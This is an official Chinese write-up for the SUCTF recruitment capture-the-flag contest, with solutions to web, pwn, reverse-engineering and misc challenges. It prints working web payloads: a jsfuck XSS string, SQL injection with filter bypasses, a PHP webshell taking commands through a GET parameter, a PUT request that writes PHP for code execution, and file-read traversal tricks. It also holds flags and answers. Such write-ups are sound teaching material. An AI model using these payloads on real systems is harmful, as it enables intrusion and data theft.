SUCTF招新赛官方wp
[TOC]
————
Web
这是个模版[web]
xss1
解法有多种。只要用");
闭合前面,再注释掉后面就行了。
这里参考payload,用的jsfuck:
1 | ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();// |
xss2
题目只允许输入!+[]
,想到jsfuck, eval(eval(input) + \’(1)\’) ,综合题意,只要可以使用eval(input)构造出’alert’字符串即可。
get到jsfuck的编码方式,就解开了本题。记录如下:
1 | 以下内容基于 |
php is No.1
源码审计题,当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过。
1 | $test=false and true; |
接下来又是个弱相等,我们随便传个字符就行了。而且在php7以下的版本
1 | $time = 5e6 |
最后参考payload:
1 | http://49.4.68.67:94/?time=5e6&num=a |
baby-upload
第一层:抓包或直接修改前端代码绕过js校验文件后缀
第二层:图片mime类型绕过防护
第三层:文件后缀为phps绕过白名单防护
inclue-me
描述的很清楚,包含index.php
使用伪协议读取源码:php://filter/convert.base64-encode/resource=index.php
onepiece
打开题目后index.php里提示我用了phpstorm,去找.idea
在workspace.xml里面看到,后台有UpL0ad.php和README.html两个文件
README.html里面直接说了,我有一个onepiece.zip
下载onepiece.zip,解压后是我用在线的phpjm网站混淆过的php文件
去网上搜索相关的关键词就能找到在线解密的网站(https://tool.lu/php)
把php文件解密之后,这题就是一个简单的php代码审计(变量覆盖)
在UpL0ad.php里post时,直接post参数: file=flag 就得到flag回显了
where are you from level 1
Client-Ip头设置为127.0.0.1即可。
where are you from level 2
Client-Ip处的注入,过滤了空格和一些关键字,但是关键字只过滤了一次,因此可以双写绕过。最终getflag的payload:
1 | Client-Ip: 12',(selselectect/**/fl4g/**/ffromrom/**/flaaag))# |
gallery
flag:suctf{phar_s3rial1ze_f4nt4s71C}
读取图片的接口存在任意文件读取的漏洞,可以读取到网站源码。cookie中给出提示read recent papers about phar
,最近phar有关的比较热门的就是phar反序列化,生成phar的脚本为:
1 |
|
生成phar后重命名为图片文件,上传后访问
1 | ?act=get&file=phar:///上传后的图片路径 |
再访问生成的out.php即可获取flag
ClassicSqli
- 用;%00截断末尾
- /**/代替空格
- regexp代替等号
1
payload="?user=\&pw=^0%26%26user/**/regexp/**/0x61646d696e%26%26pw/**/regexp/**/%22^{}%22;%00"
秘密云盘
这题就是超简单的任意文件读取,没有任何坑点,下载链接为 ?file=base64之后的文件名。
由readme.txt可知 flag在flag.php中。
因此payload为 ?file=ZmxhZy5waHA= 即可。
403readfile
- 从http状态码和页面ip判断403异常是假的
- 扫描后台文件发现robots.txt,得到flag.php和get.php。
- 尝试get.php可确定思路为通过get.php读取flag.php。
- get.php尝试里放了hint.txt,默认的链接里也有./1.txt,尝试1.txt发现回显正常即可猜测’./‘被过滤(这一步考虑难度其实是准备tips放源码,不过有大师傅真的做出来了。。tql。。。)
- 接下来就可以尝试用’./‘截断被过滤../和flag关键字
- 最终payload为 ?file=…//fl./ag.php
EASY_upload
- 抓包修改Content-Type为image/png
使用如下一句话
1
2
3<script language="php">
@system($_GET['c']);
</script>改后缀为phtml
最后getshell读flag
http://xxxxxxx/upload/shell.phtml?c=cat%20../flag.php
secure html
- secure_html.php为每个用户创建session和对应的html文件,并用include进行了文件包含
- 通过secure_html.php写入html文件时对PHP代码进行了简单粗暴的过滤,并关闭了对其他PHP格式的支持,难以绕过
- 脑洞:本题nginx开启了webdav模块,支持用http方法中的PUT更新pages目录下的html文件
- 用fiddler等代理工具构造PUT请求直接向html文件写入PHP代码,返回204状态码则表明写入成功
- 再次访问secure_html.php,代码被执行,实现RCE
- flag在根目录下
PUT消息体:
1 | <? echo `cat /flag`; |
Pwn
easy_overflow_file_structure
fsop的超简化版本,解析请求头字段的循环退出不当,可发送多个重复字段导致缓冲区溢出,覆盖相邻的fd结构中的flag成员为0xdeadbeef
即可。
1 | from pwn import * |
拓展阅读:
- FILE Structures - Another Binary Exploitation Technique - An-Jie Yang.pdf
- CVE-2018-4013/TALOS-2018-0684
babyarray
简单的数组溢出,index=-14 value=0,就可以把a的值覆盖掉。
需要注意的是一个int型变量四字节,所以在整型数组中的一个偏移变量地址改变4,计算数组距离全局变量a的值再除4就得到了偏移值。
这是一道不需要exp的题目。
basic-pwn
简单的栈溢出
1 | >gdb 3.out |
stack
简单栈溢出,和上一题重复了23333
1 | from pwn import * |
int_overflow_pwn
整数溢出,分配小空间,但是可以拷贝更多的内容
1 | unsigned int alloc_len = st->len + 0x20; // 整数溢出 |
具体看 exp
1 | from pwn import * |
EZ_heap
首先利用unsorted bin进行泄露,发现存在uaf,double free之后利用fastbin attack写malloc hook来get shell,这里直接贴下exp了。
1 | #encoding:utf-8 |
unlink
一道有点烦的unlink题,具体利用思路请看exp。
1 | #coding:utf-8 |
Rev
table
flag:SUCTF{1S_iT_SiMp1e?yeS}
这题前面有两个wrong那里是反调试,如果想动态调试的话需要patch掉
分两步变换
有一个table表为{ 3,7,4,2,5,6,1,9,8,10 };
第一次变换为7 第二次变换为9
动态调试发现中间值比了一个相等(这个字符串不能直接看出来)
str1 = ‘_SiST_1’
str2 = ‘’
table = [ 3,7,4,2,5,6,1,9,8,10]
table_r = [7,4,1,3,5,6,2,9,8,10]
for i in range(7):
str2 += str1[table_r[i]-1]
str1 = ‘py1Me?iSe’
for i in range(9):
str2 += str1[table_r[i]-1]
print(str2)
hash
flag:SUCTF{birthday_ro2k0}
题目提示是hash,看到bf772f6ed89838b9gb9f7abf3cc09413可以猜测应该是md5
md5算法的最明显的特征是初始化的四个数是不变的。
但是bf772f6ed89838b9gb9f7abf3cc09413这个数是经过一个变换,将偶数的地方异或了一个一。
最后的cf673f7ee88828c9fb8f6acf2cb08403 可查出为birthday
第二段为一个简单的线性变换str1 = '
ut9t’
for i in range(len(str1)):
a = chr(ord(str1[i])-2*i-1)
print(a)`
re-register
flag: SUCTF{Flag_1cqeyoecnaqr739w}
src:
1 | #include <stdio.h> |
basic re
ida中可以看出输入的密钥只用到后16位 所以0~65535爆就行了。
Key:12345
1 | //src: |
HelloPython
一道经过混淆的Python逆向,题目给出的是一个经过编译的字节码文件和一段密文,通过uncompyle6可以反编译出源码,源码通过onelinerizer混淆压缩为一行代码,需要先整理分析代码,然后写出解密算法。
经过整理分析后的代码,因为混淆方式是通过lambda函数和列表递推表达式实现的,先解析函数参数,所以代码整体上是倒序执行的:
1 | (lambda __operator, __print, __g, __contextlib, __y: # __operator=operator, __print=print, __g=globals(), __y用于构造循环 |
加密解密代码(TEA):
1 | def encipher(v, k): |
game
非常传统而基础的rev
MD5
题目一开始的时候给了一串奇怪的数字,如果逆向的话会发现这是一段md5(检查魔数可得),直接搜会发现是nuaa的数字,然后便可解开这段内容。
Tips:不是字符串的nuaa,而是其数字形式
迷宫
题目会用上一题的迷宫得到的数对程序中的404040
位置进行解密,解密后会发现这是一个迷宫。并且UDLR
分别表示四个方向,那么只要走出迷宫即可。此处走出迷宫的字符串为
1 | RRRRRRRRRRUUUUUUUUUULLLLLLLU |
程序中有一段逻辑会对输入进行翻译,当翻译结果如上的时候才能够通行。
相当于是将每个字节的两个bit作为UDLR的一个对应关系,解密后得到此时的输入为
1 | 170 170 165 85 85 255 253 |
最后的check
到这段之后,会发现程序会释放一个加密的程序并且跳转上去,检查后发现是一个简单的逻辑异或,最后得到答案:
1 | Dr1v3r_Is_s0_m3ssy |
dump
这个题目可以使用IDA来解,不过我试了一下效果并不好(可能本人IDA用的不熟练),不如直接用windbg来的快
1. 找到crash的原因
一个dmp的产生,必然意味着程序本身出现了问题。所以应该首先通过分析找到当前的问题所在。使用!analyze -v
分析可以知道,当前程序发生了堆溢出:
检查当前的程序调用栈,可以看如下信息:
可以看到程序主体ForDumpPractice中调用了free。显然是这个free的内容出现了问题,于是我们直接跟踪到这段代码相关的地方:
这边我的windbg有一些符号没有解析,不过可以使用指令查看。这段的内容如果完整看下来,会发现是个如下的逻辑:
1 | 1. 申请一个堆,大小为4 |
所以发生了堆溢出
2. 找到flag
既然分析了崩溃原因,那么我们看一下这个程序本身要做什么。继续分析dmp,会在最后找到一个prinf函数,并且可以看到里面的内容:
这里可以暗道,这个地方的字符串是一个输出flag的东西。逆推可得,此时[esp - 14h]+1
中存放有flag。并且在这段逻辑中,可以发现有一个简单的对程序进行解密的内容。这里通过将这个程序还原,大致可以得到如下的逻辑
1 | // [ebp- 1Dh]:i |
那么这个[ebp - 14h]中的数据怎么得到呢?回到程序开头,我们发现这个值是参数传入的,并且存放在了堆中。于是此时我们可以查看栈/堆,都能够翻到这个内容:
栈:
堆:
剩下的就是解密,得到答案为:
1 | flag{Dmp_Is_Useful} |
easy_vm_engine
简单的vm,可以用angr很轻松的跑出来,这里贴下加密解密算法。
1 | #!/usr/bin/env python |
Misc
follow-me
使用wireshark分析数据包,过滤http发现是一个简单的web攻击流程,
首先爆破后台再进行弱口令爆破,正确的口令即为flag值,在倒数第二个数据包。
single-dog
使用foremost分离文件,发现存在文本文件,搜索aaencode解密即可得到flag。
stature
简单的png隐写,用hex编辑器将图片改高,0x175改高即可。
one image %3F
B通道有hint提示盲水印,R通道与G通道解盲水印,得到flag
hidden
非常传统而基础的misc
zip/docx
其实直接拖到Linux下就能够识别出是一个zip包,本身是一个word文档,于是直接在压缩包里面能够找到一半的flag:_Yeah!}
qrcode
发现flag只有一部分,于是继续观察文件,发现一个zip文件不可能这么大,于是用binwalk去查看,会发现里面有很多张图。将图都取出来会发现是一个二维码截图。将这些二维码拼接起来,扫出来是一个base64的字符串,解开之后会发现一大段内容,其中最后包含了另一半的flagSUCTF{File_Format
最后得到flag
1 | SUCTF{File_Format_Yeah!} |
佛家妙语
超级简单的几种编码与加密
与佛论禅——base46——base32——base16——base58
流量
流量包可导出upload.php,分离得出加密的压缩包。
压缩包内有flag0,1,2,3,且内容都为4或6字符,利用crc32校验的爆破得出flag内容。
主要坑点在flag0,写脚本爆破预计2小时……但得出flag123后可猜测flag0为flag头SUCTF{,用crc32验证一下也可确定。
人类的本质
题目思路比较明确,就是点2333次以上,也有师傅通过逆向的方法解。
由于按钮设定了不可设置为焦点,使用autoit直接给控件发送点击命令。
控件的定位可以用autoit window info
1 | Run("本质3.exe"); |